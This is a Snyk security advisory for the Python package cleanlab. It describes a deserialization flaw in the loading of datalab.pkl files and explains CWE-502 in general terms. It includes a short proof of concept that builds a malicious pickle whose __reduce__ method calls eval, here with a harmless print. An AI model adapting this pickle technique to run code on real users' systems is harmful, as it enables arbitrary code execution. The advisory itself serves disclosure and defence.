Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsThere is no fixed version for cleanlab
.
cleanlab is a The standard package for data-centric AI, machine learning with label errors, and automatically finding and fixing dataset issues in Python.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data via the deserialization process in the datalab.pkl
file. An attacker can execute arbitrary code on the user's system by crafting a malicious datalab.pkl
file and loading it into the application.
import pickle
class Exploit:
def __reduce__(self):
return (eval, ("print('pwned')",))
open("./exploit/datalab.pkl", "wb").write(pickle.dumps(Exploit()))
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.